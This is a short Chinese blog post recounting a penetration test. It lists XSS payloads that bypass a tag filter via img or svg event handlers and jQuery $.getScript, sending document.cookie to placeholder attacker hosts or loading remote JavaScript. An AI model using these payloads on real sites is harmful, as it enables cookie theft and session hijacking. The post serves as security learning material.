XSS漏洞之加载远程js文件

前言

这次在对一个系统渗透测试过程中,发现一个XSS漏洞,可弹窗,并且没有httponly,但是在尝试加载远程js文件的时候发现,script标签被过滤掉了,准确的说应该是服务器后端在识别到输入内容有<>的时候,会把每对尖括号以及尖括号里面的内容都过滤掉,唯独有一个特例,就是img标签不会。
在网上找了一些资料,发现可以用img来加载远程js,陆陆续续试过以下几个方法:

1.第一种方法

<img src=x onerror=document.body.appendChild(document.createElement('img')).src='//xxx.xxx/a?cookie='+document.cookie>

用这种方式是将cookie写入到自己搭建的服务器下的一个txt文件里,这种方式能起作用,但是没读到cookie,失败了。具体原因应该是img不能加载js文件。

2.第二种方法

<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>

这种方法也没成功,应该是因为其中包含有script关键字被过滤了,so失败了

3.第三种方法

<svg onmouseover="$.getScript`https://xxx/a.js`" stype="display:none">
<img src=x onerror=$.getScript('https://xxx/a.js')>     --也行

最终成功加载到远程js文件的payload。这种方法只要网站支持jQuery就可以这样子加载js文件
这种方法有三个要素,可以自由选择:

  • 标签:svg、input、object、iframe、img、a、pbutton、script
  • 属性:onmouseover、onmousemove、onclick、onerror、onload、onfocus+autofocus
  • 事件代码可选择:
console.log(document.cookie)
document.location="http://www.test.com/cookie_catcher.php?c="+document.cookie
prompt(document.cookie)
confirm(document.cookie)
"$.getScript`https://xxx/a.js`" stype="display:none"          

心得体会:

学习前辈的经验,一定要多思考,不要搬过来就直接用,多想想为什么,多去探索原理和本质,实践出真知。
另外,不要让代码能力成为自己的短板。

posted @ 2019-12-27 17:49  binggogo  阅读(2133)  评论(0编辑  收藏  举报